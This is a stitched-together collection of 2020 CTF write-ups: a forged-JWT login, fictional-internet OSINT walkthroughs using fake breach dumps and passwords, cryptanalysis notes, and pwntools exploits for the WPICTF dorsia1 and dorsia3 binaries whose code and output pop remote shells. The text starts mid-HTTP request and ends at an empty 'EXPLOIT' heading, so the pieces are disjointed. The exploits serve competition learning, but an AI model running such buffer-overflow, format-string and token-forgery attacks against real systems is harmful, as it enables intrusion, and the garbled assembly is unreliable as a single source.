session=eyJjc3JmX3Rva2VuIjoiYTg4ZWQxZjVkODhhZTgyZDEzMWY4ODhmZWExZjYwNDRmNTEwMDgyMCJ9.Xo35dQ.zpNEVjf6uG_5vhqwNCE7bS8QEz0Connection: keep-aliveUpgrade-Insecure-Requests: 1 HTTP/1.0 401 UNAUTHORIZEDContent-Type: application/jsonContent-Length: 125WWW-Authenticate: JWT realm="Login Required"Server: Werkzeug/1.0.1 Python/3.6.9Date: Wed, 08 Apr 2020 17:02:35 GMT { "description": "Request does not contain an access token", "error": "Authorization Required", "status_code": 401}``` You can use [JWT.io website](https://jwt.io/) to craft a valid JWT with `31337` identity and signed with `dawgCTF?heckin#bamboozle` secret. ```{"alg":"HS256","typ":"JWT"}.{"identity":31337,"iat":1586564945,"nbf":1586564945,"exp":1586908800}.Hx0gLrzRZy4lGdEhvV_eIpdpSSa_pd6FQVBy1pMVNPE eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6MzEzMzcsImlhdCI6MTU4NjU2NDk0NSwibmJmIjoxNTg2NTY0OTQ1LCJleHAiOjE1ODY5MDg4MDB9.Hx0gLrzRZy4lGdEhvV_eIpdpSSa_pd6FQVBy1pMVNPE``` Calling the endpoint with the JWT in the `Authorization` header will give you the flag. ```GET /jwtlogin HTTP/1.1Host: freewifi.ctf.umbccd.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeCookie: WifiKey nonce=MjAyMC0wNC0xMSAwMDoxNg==; WifiKey alg=SHA1; session=eyJjc3JmX3Rva2VuIjoiYTA2MmZkNTUyNzM3NmQwMTAxYTc4YzgwMmFlNmFkOTI5ZGQzNzU3OCJ9.XpD3NA.zDj47SdpKQnikt--V9WnN0zUmYQ; JWT 'identity'=31337; JWT 'secret'="dawgCTF?heckin#bamboozle"Authorization: JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6MzEzMzcsImlhdCI6MTU4NjU2NDk0NSwibmJmIjoxNTg2NTY0OTQ1LCJleHAiOjE1ODY5MDg4MDB9.Hx0gLrzRZy4lGdEhvV_eIpdpSSa_pd6FQVBy1pMVNPEUpgrade-Insecure-Requests: 1Cache-Control: max-age=0 HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Sat, 11 Apr 2020 00:35:23 GMTContent-Type: text/html; charset=utf-8Connection: closeContent-Length: 27 DawgCTF{y0u_d0wn_w!t#_JWT?}```
![](http://image.taqini.space/img/cap_dorsia_00:00:06_01.jpg) `system+765772` is the address of one gadget in `libc2.27`, and there is a buffer overflow in stack. So we can overwrite the return address with address of one gadget. [full wp](http://taqini.space/2020/04/20/WPICTF-2020-pwn-linux-wp/#dorsia1-100pt)
# DawgCTF 2020 – Impossible Pen Test These are multiple challenges connected together. ## Impossible Pen Test Part 1 * **Category:** forensics (OSINT)* **Points:** 50 ### Challenge > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find the password of an affiliate's CEO somewhere on the internet and use it to log in to the corporate site? https://theinternet.ctf.umbccd.io/> > (no web scraping is required to complete this challenge)> > author: pleoxconfusa ### Solution On the corporate website `https://theinternet.ctf.umbccd.io/burkedefensesolutions.html` you can discover the following message. ```A message from our CEOSpecial thanks to Todd Turtle from Combined Dumping & Co for babysitting our kids! Special thanks to Mohamed Crane from Babysitting, LLC for helping us take out the trash! Special thanks to Sonny Bridges from Oconnell Holdings for freeing up our finances! Special thanks to Emery Rollins from Combined Finance, Engineering, Scooping, Polluting, and Dumping, Incorporated for helping make the world a better place! - Truman Gritzwald, CEO``` On the personal profile of Emery Rollins `` you can discover a post taling about a data breach. ```OMG just found out about the charriottinternational data breach repo!``` It seems that several people listed in the message of the CEO used that hotel. Searching for the data breach will return: `https://theinternet.ctf.umbccd.io/SecLists/charriottinternational.txt`. E-mails of the people can be found in their professional pages. ```Todd Turtlehttps://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BToddTurtle%7D.html[email protected] Mohamed Cranehttps://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BMohamedCrane%7D.html[email protected][email protected] Sonny Bridgeshttps://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BSonnyBridges%7D.html[email protected] Emery Rollinshttps://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BEmeryRollins%7D.html[email protected][email protected]``` Credentials for the Sonny Bridges e-mail can be found. ```[email protected] fr33f!n@nc3sf0r@ll!``` Trying to login into corporate website will give you the flag. ```DawgCTF{th3_w3@k3s7_1!nk}``` ## Impossible Pen Test Part 2 * **Category:** forensics (OSINT)* **Points:** 50 ### Challenge > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find a disgruntled former employee somewhere on the internet (their URL will be the flag)?> > https://theinternet.ctf.umbccd.io/> > (no web scraping is required to complete this challenge)> > author: pleoxconfusa ### Solution On the corporate website `https://theinternet.ctf.umbccd.io/burkedefensesolutions.html` you can discover the name of the CEO: `Truman Gritzwald`. On its FaceSpace `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BTrumanGritzwald%7D.html` you can discover that he fired the CFO, so he could be the disgruntled former employee. ```Nov 27, 2019About to fire my CFO!``` You can also discover the name of the CTO, Isabela Baker, and the name of Madalynn Burke. Madalynn Burke is no more the CISO, according to her professional profile at `https://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BMadalynnBurke%7D.html`. ```01/2020 - PresentCybersanitation Engineer - Barber Pollute and Babysitting, Limited 09/2019 - 01/2020CISO - Burke Defense Solutions & Management``` But on her FaceSpace `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BMadalynnBurke%7D.html` you can discover another person: Royce Joyce, the CTO. ```Sep 27, 2019[Pictured: a hacker and some guy and my parents]Great dinner with CTO Royce Joyce!``` Analyzing the personal profile of Royce Joyce `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BRoyceJoyce%7D.html` you can discover other people named in a post. ```Meet the team! Carlee Booker, Lilly Lin, Damian Nevado, Tristen Winters, Orlando Sanford, Hope Rocha, and Truman Gritzwald.``` One of them, Tristen Winters, is the current Chief Information Security Officer and on his personal profile `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BTristenWinters%7D.html` warns about a person called Rudy Grizwald. ```Nov 28, 2019[Pictured: hackers]Everyone should ignore Rudy Grizwald's messages``` Analyzing the professional profile of Rudy Grizwald, `https://theinternet.ctf.umbccd.io/SyncedIn/DawgCTF%7BRudyGrizwald%7D.html`, you can discover he was the CFO. ```11/2019 - PresentData Breacher - Combined Teach, Inc. 1/2019 - 11/2019Chief Financial Officer - Burke Defense Solutions & Management``` And on the personal profile `https://theinternet.ctf.umbccd.io/FaceSpace/DawgCTF%7BRudyGrizwald%7D.html` you can discover he is mad at the CEO. ```Nov 28, 2019Truman Gritzwald is a bad CEO.``` The flag is the following. ```DawgCTF{RudyGrizwald}``` ## Impossible Pen Test Part 3 * **Category:** forensics (OSINT)* **Points:** 100 ### Challenge > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find the mother of the help desk employee's name with their maiden name somewhere on the internet (the mother's URL will be the flag)?> > https://theinternet.ctf.umbccd.io/> > (no web scraping is required to complete this challenge)> > author: pleoxconfusa ### Solution One of the people discovered before, Orlando Sanford, is the Help Desk Worker, accordig to his professional profile at `https://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BOrlandoSanford%7D.html`. Analyzing his personal profile at `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BOrlandoSanford%7D.html` you can discover a post referred to his mother. ```Jun 01, 2018[Pictured: Alexus Cunningham]My mom defenestrates a cat!``` Checking on her personal profile `https://theinternet.ctf.umbccd.io/FaceSpace/DawgCTF%7BAlexusCunningham%7D.html` you can confirm she is his mother. ```Alexus Cunningham In a relationship with: Marely BruceChild: Orlando Sanford``` So the flag is the following. ```DawgCTF{AlexusCunningham}``` ## Impossible Pen Test Part 4 * **Category:** forensics (OSINT)* **Points:** 100 ### Challenge > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find the syncedin page of the linux admin somewhere on the internet (their URL will be the flag)?> > https://theinternet.ctf.umbccd.io/> > (no web scraping is required to complete this challenge)> > author: pleoxconfusa ### Solution Hope Rocha, discovered before, was a Linux admin, according to his professional profile on SyncedIn `https://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BHopeRocha%7D.html`, but he is not the current one. ```12/2018 - 08/2019Linux Admin - Burke Defense Solutions & Management``` According to his personal profile `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BHopeRocha%7D.html` the new Linux admin is Guillermo McCoy. ```Aug 18, 2018[Pictured: Guillermo McCoy]Meet your new Linux Admin for Burke Defense Solutions & Management!``` Checking his professional profile at `https://theinternet.ctf.umbccd.io/SyncedIn/DawgCTF%7BGuillermoMcCoy%7D.html` will reveal that it's correct. ```Guillermo McCoy [email protected][email protected][email protected][email protected][email protected] 08/2019 - PresentLinux Admin - Burke Defense Solutions & Management``` So the flag is the following. ```DawgCTF{GuillermoMcCoy}``` ## Impossible Pen Test Part 5 * **Category:** forensics (OSINT)* **Points:** 100 ### Challenge > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find the CTO's password somewhere on the internet and use it to log in to the corporate site?> > https://theinternet.ctf.umbccd.io/> > (no web scraping is required to complete this challenge)> > author: pleoxconfusa ### Solution Royce Joyce is the CTO and he has two e-mails (`https://theinternet.ctf.umbccd.io/SyncedIn/DogeCTF%7BRoyceJoyce%7D.html`). ```[email protected][email protected]``` Analyzing his personal profile `https://theinternet.ctf.umbccd.io/FaceSpace/DogeCTF%7BRoyceJoyce%7D.html` you can discover a data breach. ```Sep 07, 2019Apparently skayou had a data breach? LOL``` Searching for the data breach will return: `https://theinternet.ctf.umbccd.io/SecLists/skayou.txt`. And one of its e-mails can be found with a password. ```[email protected] c0r^3cth0rs3b@tt3ryst@p\3``` Trying to login into corporate website will give you the flag. ```DawgCTF{xkcd_p@ssw0rds_rul3}```
1. Look into the directory Remys/www/data2. Find the string "flag" - the file Map024.json contains "for the flag"3. Replace the file Map025.json ("Da Town") with the Map024.json4. Start the game and go to town...2. `WPI{JrPGZ_r_SUGOI}`
The team at UMBC put on a great CTF over the Easter weekend of 2020. This CTF has a set of problems that you don’t see too often. Many times groups will have you do RECON type challenges over the Internet, but the UMBC Cyber Dawgs created their own internet for us to use for these challenges. Check out my full solve for all five challenges here: https://www.wclaymoody.com/blog/dawgctf-impossible-pentest
# WPICTF 2020 ## dorsia3 > 250> > [http://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm](../dorsia.webm) The third card.>> `nc dorsia3.wpictf.xyz 31337 or 31338 or 31339`>> made by: awg> > [nanoprint](nanoprint) [libc.so.6](libc.so.6) Tags: _pwn_ _remote-shell_ _format-string_ ### Introduction This is more of a walkthrough that a writeup, if bored, then click [exploit.py](exploit.py). ### Analysis #### Checksec ``` Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled``` #### Roll the film ([dorsia.webm](../dorsia.webm)), _again_ ![](dorsia3.png) This time the verbal hint is _format vuln_, _printf_. Wow, another legit fuckup. You could (and can) actually expect someone to swap the format string and parameter. And, _that_, is the vulnerability. We get one shot at this. Leaked from the first `printf` is an address in the stack, as well as a location from libc. With this in hand it should be easy to overwrite the return address. The 2nd `printf` is where we launch the exploit. We have 68 characters to work with (not really--see below). > There are two solutions that I came up for this. The first was to call `system` with an argument of `/bin/sh`, and the second was to, again, use `one_gadget`. The former is portable and more interesting, so I'll describe that. All the information needed (stack and libc addresses) is given, so all that is left is to figure out how `a` is positioned in the stack so that we can compute our parameters for the exploit. To do this, just startup the binary in GDB, set a breakpoint (`b *main+87`) just before the last `printf`, and run. In this example the output sent from the first `printf` was `0xffffd62b0xf7e110e0`; IOW the address of `a` is `0xffffd62b` and the address of `system - 288` is `0xf7e110e0`. Now send the following to `fgets`: ```ABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ``` > I intentionally only sent one `A` Stack just before second `printf`: ```0xffffd610│+0x0000: 0xffffd62b → "ABBBBCCCC[...]" ← $esp0xffffd614│+0x0004: 0x5655700e → 0x000a7325 ("%s"?)0xffffd618│+0x0008: 0xf7fac5c0 → 0xfbad22880xffffd61c│+0x000c: 0x000000c20xffffd620│+0x0010: 0x000000000xffffd624│+0x0014: 0x00c300000xffffd628│+0x0018: 0x41000000 (???"A")0xffffd62c│+0x001c: "BBBB"0xffffd630│+0x0020: "CCCC"0xffffd634│+0x0024: "DDDD"0xffffd638│+0x0028: "EEEE"0xffffd63c│+0x002c: "FFFF"0xffffd640│+0x0030: "GGGG"0xffffd644│+0x0034: "HHHH"0xffffd648│+0x0038: "IIII"0xffffd64c│+0x003c: "JJJJ"0xffffd650│+0x0040: "KKKK"0xffffd654│+0x0044: "LLLL"0xffffd658│+0x0048: "MMMM"0xffffd65c│+0x004c: "NNNN"0xffffd660│+0x0050: "OOOO"0xffffd664│+0x0054: "PPPP"0xffffd668│+0x0058: "QQQQ"0xffffd66c│+0x005c: 0x00525252 ("RRR"?)0xffffd670│+0x0060: 0x000000010xffffd674│+0x0064: 0xffffd734 → 0xffffd847 → "/pwd/datajerk/wpictf2020/dorsia3/nanoprint"0xffffd678│+0x0068: 0xffffd73c → 0xffffd872 → "LESSOPEN=| /usr/bin/lesspipe %s"0xffffd67c│+0x006c: 0xffffd6a0 → 0x000000010xffffd680│+0x0070: 0x000000000xffffd684│+0x0074: 0xf7fac000 → 0x001d7d6c ("l}"?)0xffffd688│+0x0078: 0x00000000 ← $ebp0xffffd68c│+0x007c: 0xf7dece81 → <__libc_start_main+241> add esp, 0x100xffffd690│+0x0080: 0xf7fac000 → 0x001d7d6c ("l}"?)0xffffd694│+0x0084: 0xf7fac000 → 0x001d7d6c ("l}"?)0xffffd698│+0x0088: 0x000000000xffffd69c│+0x008c: 0xf7dece81 → <__libc_start_main+241> add esp, 0x100xffffd6a0│+0x0090: 0x000000010xffffd6a4│+0x0094: 0xffffd734 → 0xffffd847 → "/pwd/datajerk/wpictf2020/dorsia3/nanoprint"``` There a few important observations to be made: * First, in the code above, `a` allocates `69` bytes. This will not align with the stack. (_This is why I used just the one `A` so that the rest would align for illustration purposes._) At line `+0x0018` (`0xffffd62b`--remember this was given to us) is the start of the character array.* Second, `fgets` size parameter is also `69`. `fgets` will read only 68 characters of input, and then set the 69th byte to `0x00`. Look at `+005c`, notice how only 3 `R`s were read.* Third, why is the base pointer so far down stack (`+0x0078`)? For only `a[69]`, we should expect it to be closer to `a`. The first two points tell us that we really only have 65 characters to work with for a format string exploit. The end of the string usually contains addresses, and since addresses can have nulls, they should be at the end. Also the addresses have to be stack aligned. And, since the last character will be NULL, we cannot use the last stack line as part of the format string exploit. The third point requires a bit of snooping. #### Decompile in Ghidra: ![](main.png) Bryce's card **is a lie!** What a douche. "`a`" (`local_65`) is actually allocated for `81` bytes. Now that does not change any of the facts above, `fgets` is still limited to `68` characters (plus the free NULL) and the stack alignment still off by a byte. However, this does explain why `$ebp` and the return address (to `__libc_start_main_241`) are so far down stack. From the disassembly: ```0001107f 8d 75 a3 LEA ESI=>local_65,[EBP + -0x5d]``` "`a`" (`local_65`) is `0x5d` (93) bytes above `EBP`, so our return address target will be _address of `a`_ (provided by the initial output) + `0x5d` + `4` (`EBP`), _or is it?_ If you look again at the stack above, there's two identical (`<__libc_start_main+241> add esp, 0x10`) return addresses. Looking at the end of `main` disassembly: ```000110cc 83 c4 10 ADD ESP,0x10000110cf 8d 65 f4 LEA ESP=>local_14,[EBP + -0xc]000110d2 59 POP ECX000110d3 5b POP EBX000110d4 5e POP ESI000110d5 5d POP EBP000110d6 8d 61 fc LEA ESP,[ECX + -0x4]000110d9 c3 RET``` `0x10` is added to the stack pointer shifting down the real return address 16 (`0x10`) more bytes. So, our target address will be _address of `a`_ + `0x5c` + `4`+ `0x10`. ### Exploit #### Attack Plan 1. Leak address of `a` and `system`2. Compute location of libc and the string `/bin/sh` in libc3. Overwrite return address with `system` + arg `/bin/sh`4. Get a shell, get the flag #### Leak address of `a` and `system` ```python#!/usr/bin/env python3 from pwn import * #p = process('./nanoprint')#libc = ELF('/lib/i386-linux-gnu/libc.so.6')p = remote('dorsia3.wpictf.xyz',31337)libc = ELF('libc.so.6') _ = p.recvline().strip() a = int(_[:10],16)system = int(_[10:],16) + 288``` This picks up the output from `printf("%p%p\n",a,system-288);`. The conversion specifier `%p` just prints the address of the parameter. Handy for leaking addresses. > The above code assumes none of the address start with `0x0`, but start with `0x[1-f]`; if the address started with `0x0` the string would be shorter and these hardcoded slices would fail (i.e., the second `0` and any following are not displayed). In this case it was not a problem. #### Compute location of libc and the string `/bin/sh` in libc ```pythonreturn_address = a + 0x5d + 4 + 0x10baselibc = system - libc.symbols['system']binsh = baselibc + next(libc.search(b"/bin/sh"))``` Setting the `return_address` as described in the _Analysis_ section above. Using the location of `system`, the base of libc can be computed, as well as a pointer to the string `/bin/sh`. #### Overwrite return address with `system` + arg `/bin/sh` If you're not familiar with format string exploits, please pause and read: [https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf](https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf). I think this was the first Google hit. The abridged version is that `printf` has a format string conversion specifier `%n`, that will write to an address passed as a parameter, the number of characters emitted for that `printf` call. E.g. `printf("123%n",&char_count)` will store the number `3` in the integer `char_count` since `3` characters were emitted _before_ the `%n` (the `%n` _emits nothing_ :-). We have to write out some 32-bit addresses (this an x86 challenge). Printing `2^32` characters will take a very long time, fortunately `%n` supports modifiers; `h` can be used to specify the target address as a 16-bit `short`. This means we can emit at most `2^16` characters, however we'll need two `%n` conversion specifiers and two address to write to. ```pythonwords = {}words[system & 0xFFFF] = return_addresswords[system >> 16] = return_address + 2words[binsh & 0xFFFF] = return_address + 8words[binsh >> 16] = return_address + 10``` The exploit is to write the address of the `system` call into the return address on the stack. And then to write a pointer to a string (`/bin/sh`) as an argument to `system` (also on the stack). The location of the first argument to `system` will be 8 bytes below in the stack, since 4 bytes below is where `system` expects to pop off the `ret` address. Above, in the associative array (dictionary) `words`, is the high and low order bytes of the addresses of `system` and `/bin/sh` computed from the previous step. The `words` index (e.g. `system & 0xFFFF`) is the value to be written to the assigned value (e.g. `return_address`). This array is sorted by the index so that the next emit character count is greater than the first. If this is not done correctly it is possible the 2nd, 3rd, or 4th values to be written to the stack cannot be computed because they are smaller than the accumulated `printf` internal character count. ```pythonn=0; q=19; c=0; payload = b''for i in sorted(words): payload += b'%' + str(i-n).encode() + b'x' payload += b'%' + str(q).rjust(2,'0').encode() + b'$hn' c += len(str(i-n)) + 2 n += (i-n) q += 1 assert(c <= 25)payload += b' '*(25-c) for i in sorted(words): payload += p32(words[i])``` From the _Analysis_ section we determined there can only be a max of 65 characters used. From that subtract off 16 for the 4 8-byte addresses at the end. That leaves 49. There are 4 `%XX$hn` conversion specifiers taking up a total of 24 bytes, leaving 25 bytes to specify the `%YYYYx` conversions to emit `YYYY` number of spaces. The `assert` above will check that we didn't blow out our budget, and the following append to the `payload` fills in spaces so that all the addresses following that are aligned on the stack. At this point it may help to look at the actual computed format string that is exactly 65 bytes long: ```pythonb'%16896x%19$hn%3791x%20$hn%40627x%21$hn%20x%22$hn \xccu\x80\xff\xd4u\x80\xff\xceu\x80\xff\xd6u\x80\xff'``` From left to right: * emit `%16896x` spaces and write (`16896` = `0x4200`) to the address `\xccu\x80\xff` at parameter 19 (`%19$hn`)* emit `%3791x` spaces and write (`16896` + `3791` = `0x50cf`) to the address `\xd4u\x80\xff` at parameter 20 (`%20$hn`)* emit `%40627x` spaces and write (`16896` + `3791` + `40627` = `0xef82`) to the address `\xceu\x80\xff` at parameter 21 (`%21$hn`)* emit `%20x` spaces and write (`16896` + `3791` + `40627 + 20` = `0xef96`) to the address `\xd6u\x80\xff` at parameter 22 (`%22$hn`)* emit a space, this was just added by the algorithm above to pad out as describe above* emit the four address referenced by `%XX$hn` > This example above will change on every run because of ASLR.>> Notice how the value written increases, per the aforementioned explanation. The `%XX$hn` enumeration starts at 19. _Why?_. Parameters to (x86 32-bit) `printf` are all on the stack and usually (in my experience) start from the address below the stack pointer and go down. Also (in my experience) the start of the format string is at parameter 6 (same with x86_64). So starting from the `0xffffd628│+0x0018: 0x41000000 (???"A")` line in the stack diagram above and counting down to `NNNN`, `OOOO`, `PPPP`, `QQQQ` (the location of the last 4 stack aligned parameters) we end up at 19 (`NNNN`). You can use math if you like, e.g.: ```pythonimport mathmath.ceil(65 / 4) + 6 - 4``` Basically for x86 (4 byte stack), the number of characters that can be used for your exploit, divided by 4 bytes/stack line + parameter 6 for the start of the format string, less the number of pointers you have to write to the end. In this example the value is `19`. #### Get a shell, get the flag All the is left to do is send the payload: ```pythonp.sendline(payload)p.interactive()``` #### Output ``` ... a screen full of all them sweet sweet spaces emitted -- you asked for it ... 1 e8fc8d57 \xfc\xb7\xc5\xff\xb8\xc5\xff\xfe\xb7\xc5\xff\x06\xc5\xff$ cat flag.txtWPI{Th3re_is_an_idea_of_4_Pa7rick_BatemaN}``` #### Flag ```WPI{Th3re_is_an_idea_of_4_Pa7rick_BatemaN}```
**tldr:** 1. Server does the SIDH key-exchange, but reuses its key. We are also given an oracle on the correctness of the agreement. 2. Known adaptive attack described in [https://eprint.iacr.org/2016/859](https://eprint.iacr.org/2016/859) 3. Account for Bob (server) having a 3^n-isogeny (Remark 2 in the paper). **full writeup:** [https://sectt.github.io/writeups/Plaid20/crypto_sidhe/README](https://sectt.github.io/writeups/Plaid20/crypto_sidhe/README)
* overwrite index of buffer * overwrite return address with `execve("/bin/sh",0,0)` [more details](http://taqini.space/2020/04/27/ijctf2020-wp/#Input-Checker-100pt)
The comment at the beginning led us to find this [paper](https://eprint.iacr.org/2020/053). Obviously this challenge is an implementation of the scheme proposed by Jiahui Chen et al. In Section 3.1, they pointed out an important property of the public key. > Namely, Span_F P has a linearly independent set of n−a degree-one polynomials. Therefore, an attacker can generate a linearly independent set of n − a degree-one polynomials from the public key P. So we can put aside the quadratic terms and solve the linear part directly. steps as below First, to get rid of quadratic terms, we can choose a basis s.t. the combinations of quadratic part get to zero. (note that `sage` has a good implementation of polynomial system, which is helpful for algebraic cryptanalysis) ```pythonpolySeq = []for i in range(n): for j in range(n): monomial = xs[i]*xs[j] coefficients = [p_i.monomial_coefficient(monomial) for p_i in P] polySeq.append(vector(a_) * vector(coefficients)) polySeq = PolynomialSequence(polySeq)basis = polySeq.groebner_basis()``` Second, we use the basis to construct additional degree-one polynomials, and generate linear equations from cipher *d*. ```basis_a * polynomials_pubkey = basis_a * cipher_d``` At last, we combined them with quadratic equations from encryption (`pk(plain) = cipher`) and solve this system using Groebner basis algorithm. The solution is the plaintext. for more details, refer to [exp.sage](https://github.com/Se-P3t/ctf-writeup/blob/master/2020/PlaidCTF/crypto_MPKC/exp.sage)
# WPICTF 2020 ## dorsia1 > 100>> [http://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm](../dorsia.webm) The first card.>> `nc dorsia1.wpictf.xyz 31337 or 31338 or 31339`>> made by: awg> > _Hint: Same libc as dorsia4, but you shouldn't need the file to solve._ Tags: _pwn_ _bof_ _remote-shell_ ### Analysis #### Roll the film ([dorsia.webm](../dorsia.webm)) ![](dorsia1.png) Quite possibly one of the best movies scenes ever (your results may vary), augmented with _new pwn_. And ..., there are two verbal hints in the clip: _stack smash_ and _fgets_. What I most appreciate about this challenge is that this is a legit fuckup. You could (and can) actually expect someone to mistype the `69` as `96`. The hint: _Same libc as dorsia4, but you shouldn't need the file to solve_, was actually delivered later in the challenge as users keep asking for the libc version. I do not fully agree with that. For starters is this x86_64, x86, arm, or something else? The `printf` leaks the location of `system` with an offset (`765772`), this can be used to both determine the version of libc as well as the architecture. Assuming x86_64 (safe bet) _stack smash_ with 69 bytes + 8 bytes for the saved base pointer then an 8 byte address as the new return address. That leaves 16 bytes left (15 really since `fgets` will only read 68 bytes (one less than size parameter)). This is important, because it'll tell you what will not work: `pop rdi; ret`, pointer to `/bin/sh`, `system`. Which is exactly what I tried first (habit, I prefer this over gadgets because it is portable). That 96th byte will be a NULL (0x00), and unless the remote libc address space starts with `0x00` (and it does not), then this will not work. Plan B: try a gadget. However, there is a 2nd, easier solution, and the hint spells that out for you. `765772`. What is that number and what does it mean? It pays to be curious. ### Exploit #### Attack Plan 1. Leak libc address2. Find libc version3. Find a gadget2. Get the flag #### Leak libc address ```python#!/usr/bin/env python3 from pwn import * p = remote('dorsia1.wpictf.xyz',31337) _ = p.recvline().strip() system = int(_,16) - 765772print(hex(system))``` #### Find libc version ```pythonimport osstream = os.popen("libc-database/find system " + str(hex(system & 0xFFF)) + " | grep /glibc/ | sed 's/)//' | awk '{print $NF}'")output = stream.read().strip()stream.close() libc = ELF('libc-database/db/' + output + '.so')baselibc = system - libc.symbols['system']print("libc:" + str(hex(baselibc)))print('libc-database/db/' + output + '.so')``` This code assumes you have the libc-database cloned locally, however there's an online version as well: [https://libc.blukat.me/](https://libc.blukat.me/) (tip from @ins0--thanks!). Personally I prefer the local version, esp. if searching for gadgets or ROP chains, but it can also take about 30 minutes to download. Options are good to have. Running this will output: ```[+] Opening connection to dorsia1.wpictf.xyz on port 31337: Done0x783e16412440[*] '/pwd/datajerk/wpictf2020/dorsia1/libc-database/db/libc6_2.27-3ubuntu1_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledlibc:0x783e163c3000libc-database/db/libc6_2.27-3ubuntu1_amd64.so``` Now we have the libc version and binary. #### Find a gadget ```# one_gadget libc-database/db/libc6_2.27-3ubuntu1_amd64.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ)constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL``` `0x4f322` looks the most promising. #### Get the flag ```pythongadget = 0x4f322 payload = 69 * b'A'payload += 8 * b'B'payload += p64(baselibc + gadget)payload += (96 - len(payload)) * p8(0) p.sendline(payload)p.interactive()``` Filling the rest of the stack with NULLs is just habit--it can help however with `one_gadget`. Output: ```[+] Opening connection to dorsia1.wpictf.xyz on port 31337: Done0x7386ccfc1440[*] '/pwd/datajerk/wpictf2020/dorsia1/libc-database/db/libc6_2.27-3ubuntu1_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledlibc:0x7386ccf72000libc-database/db/libc6_2.27-3ubuntu1_amd64.so[*] Switching to interactive mode$ cat flag.txtWPI{FEED_ME_A_STRAY_CAT}``` #### Flag ```WPI{FEED_ME_A_STRAY_CAT}``` ### Be curious ```python#!/usr/bin/env python3 from pwn import * p = remote('dorsia1.wpictf.xyz',31337) _ = p.recvline().strip() gadget = int(_,16) payload = 69 * b'A'payload += 8 * b'B'payload += p64(gadget)payload += (96 - len(payload)) * p8(0) p.sendline(payload)p.interactive()``` This basically just sends back `system+765722` as the return address in our _stack smash_. Output: ```[+] Opening connection to dorsia1.wpictf.xyz on port 31337: Done[*] Switching to interactive mode$ cat flag.txtWPI{FEED_ME_A_STRAY_CAT}``` #### What is `system+765722`? Let's find out: ```# python3Python 3.7.5 (default, Nov 20 2019, 09:21:52)[GCC 9.2.1 20191008] on linuxType "help", "copyright", "credits" or "license" for more information.>>> from pwn import *>>> libc = ELF('libc-database/db/libc6_2.27-3ubuntu1_amd64.so')[*] '/pwd/datajerk/wpictf2020/dorsia1/libc-database/db/libc6_2.27-3ubuntu1_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled>>> print(hex(libc.symbols['system'] + 765722))0x10a35a``` Looking at the `one_gadget` output above it looks pretty close to `0x10a38c`.
IJCTF 2020Admin - (100PT) ####################################################################################################Description This admin thinks his system is very safe Is it actually safe? I say it’s safe what do you think?nc 35.186.153.116 7002################## Analysis:admin: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=0ee31668ec040c05db870d1fcef7e198c0a53d37, stripped Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) BOF in mainvoid main(void) { int iVar1; undefined auStack72 [64]; puts(&UNK_004923e4); gets(auStack72); #vulnerable call to gets iVar1 = func_0x00400498(auStack72,&UNK_004923ef); if (iVar1 == 0) { puts(&UNK_004923f5); } else { printf(&UNK_00492403,auStack72); } return;} ##################since the binary is statically linked and it has no pie , No canary.Solution : Creating a ROP chain. rp++ found us some intresting gadgets. pop_rdi = 0x41dc9a #: pop rdi ; ret ;pop_rax = 0x475757 #: pop rax ; ret ;pop_rsi = 0x48208c #: pop rsi ; ret ;pop_rdx = 0x4aeef2 #: pop rdx ; ret ;syscall = 0x475485 #: syscall ;################### we can create a rop chain which will return to gets function to store our string somewhere in the memory,and then we setup the registers for a sys_execve call, Here is the syscall reference for x64: https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ ------------------------------------------- EXPLOIT 